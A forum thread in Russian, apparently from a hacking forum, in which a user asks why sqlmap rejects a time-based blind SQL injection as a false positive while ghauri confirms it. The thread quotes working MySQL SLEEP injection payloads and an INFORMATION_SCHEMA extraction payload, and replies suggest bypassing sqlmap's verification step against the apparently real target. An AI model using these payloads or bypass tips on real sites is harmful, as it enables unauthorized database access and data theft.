• XSS.stack #1 – первый литературный журнал от юзеров форума

SqlMap false positive

YummyNet

RAID-массив
Пользователь
Регистрация
08.02.2022
Сообщения
79
Реакции
4
Гарант сделки
1
Приветствую ребят, имеется такая проблема что sqlmap дает false positive хотя там уязвимость есть, что доказывает ghauri

Основной запрос что работает:
[PAYLOAD] 32 AND (SELECT 4395 FROM (SELECT(SLEEP(5)))LCFs)


Из за этого запроса дает false positive:
[23:11:00] [INFO] checking if the injection point on GET parameter 'id' is a false positive
[23:11:00] [PAYLOAD] [B]32 AND (SELECT 2400 FROM (SELECT(SLEEP(5-(IF(33=33,0,5)))))qyzE)[/B]
[23:11:00] [WARNING] false positive or unexploitable injection point detected


В ghauri все прекрасно проверяет:
[23:21:02] [DEBUG] sleep time: 5, response time: 5.246932029724121
[23:21:02] [DEBUG] Test: (SELECT(0)FROM(SELECT(SLEEP(5)))a), Response Time 5.246932029724121
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Пример как ghauri выдает данные:
(SELECT(0)FROM(SELECT(IF(LENGTH(LENGTH((SELECT COUNT(*)FROM(INFORMATION_SCHEMA.SCHEMATA))))=1,SLEEP(3),0)))a)

Пытался обойти с помощью многих тамперов в том числе самописные, пытался написать новую технику чека в time_blind.xml с помощью чатагпт но все бесполезно, кто сталкивался с такой проблемой, подскажите советом, буду благодарен
 
Проверь ответ таргета, пустив трафик через burp например
Ответ всегда выдает белую пустую страничку, тут time based уязвимость в запросе, дело в payload что дает sqlmap для проверки подлинности, ее нужно обойти как-то
 
Ответ всегда выдает белую пустую страничку, тут time based уязвимость в запросе, дело в payload что дает sqlmap для проверки подлинности, ее нужно обойти как-то
Тогда нужно поправить шаблон sqlmap где она считает ответ ложно положительным

А может запустить sqlmap с нужным типом без проверки?
 
Эта проблема случается, когда инструмент думает, что инъекция удалась, но на деле она либо не эксплуатируема, либо из-за всяких сложностей окружения... типа WAF, сетевого шума или странного поведения сервера... её неверно определяют...
SQLMap для выявления Time Based Blind SQLi использует набор начальных тестов, которые включают инъекции запросов вроде SLEEP() или BENCHMARK(). Эти тесты зависят от разницы во времени ответа сервера... В логах, которые ты прислал, SQLMap отправляет тестовый запрос вроде такого...
32 AND (SELECT 2400 FROM (SELECT(SLEEP(5-(IF(33=33,0,5)))))qyzE)
Этот запрос тестирует простое условие 33=33, которое всегда True, и должен давать задержку в 5 секунд. Но если сервер по какой-то причине... типа оптимизации DBMS, кэширования запросов или поведения WAF... не показывает эту задержку нормально, SQLMap решает, что инъекция не сработала, и либо переходит к другому тесту, либо выдаёт ложноположительный результат...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх